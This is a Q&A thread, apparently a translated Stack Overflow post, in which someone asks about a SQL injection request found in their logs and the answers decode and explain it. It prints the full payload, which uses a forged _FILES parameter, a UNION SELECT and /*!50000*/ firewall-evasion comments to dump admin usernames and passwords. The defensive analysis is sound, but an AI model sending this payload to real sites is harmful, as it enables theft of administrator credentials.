SQL 需要注射辅助

SQL Injection assistance required

我想了解下面的注入及其目的。它想要得到什么?我唯一理解的部分是 union 和 select 部分,但我不确定并需要帮助理解的完整注入。

action=&aid=1&_FILES%5Btype%5D%5Btmp_name%5D=%5C%27%20or%20mid=@%60%5C%27%60%20/!50000union//!50000select/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60%5C%27%60+&_FILES%5Btype%5D%5Bname%5D=1.jpg&_FILES%5Btype%5D%5Btype%5D=application/octet-stream&_FILES%5Btype%5D%5Bsize%5D=4294

它正在向结果记录集中添加额外的列,其中包含 user/pwd 信息。所以从本质上讲,用户想要收集他或她想要滥用的用户帐户。

嗯,首先我们可以url解码字符串:

action=
&aid=1
&_FILES[type][tmp_name]=\' or mid=@`\'`/!50000union//!50000select/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\'` 
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=4294

其中一个参数非常可疑。

[tmp_name]=\' OR mid=@`\'`
    /!50000union/
    /!50000select/1,2,3,
        (select CONCAT(0x7c,userid,0x7c,pwd) 
         from `#@__admin` 
         limit 0,1)
     ,5,6,7,8,9#@`\'`

用简单的英语来说,它注入了一个 select 查询以从 #@__admin table 中获取格式类似于 0x7c<user>0x7c<password> 的用户名和密码(根据@ DCoder 可能是保留这些值的实际 table 的占位符)并将其附加到原始 select.

!50000 内容用于绕过您的 Web 应用程序防火墙(如果您有的话)。如果您不这样做,那么它可能只是一个机器人或自动尝试。或者有人按照脚本查看有效的方法。这些数字并不是很有用——它可能是为了逃避防火墙,或者只是为了让攻击者进行调试以查看输出的外观。如果不能 运行 就很难说。

这是 SQL 攻击者试图 运行 在 'plain SQL' 中的样子:

select 
    userid,
    pwd
from 
    `#@__admin` 

你有这样的table吗?当您为您的网站访问此 url 时,它会转储用户 table 吗?如果没有,那么您甚至可能没有问题,这只是一次自动扫描。您可能仍然遇到 SQL 注入问题,即使它不起作用,但在您的日志中出现此问题并不能证明存在违规行为……但这绝对是一个危险信号。

必须注意 SQL 注入(如果有)是由 另一个漏洞造成的。

很明显,此应用程序依赖于(或者至少恶意用户相信)某种自制实现 register_globals。有史以来最糟糕的实现。

为了使这段代码工作,应用程序必须获取 GET 变量,并盲目地将它们转换为全局变量,使 $_FILE 数组不是来自内部进程,而是来自单纯的 GET 请求。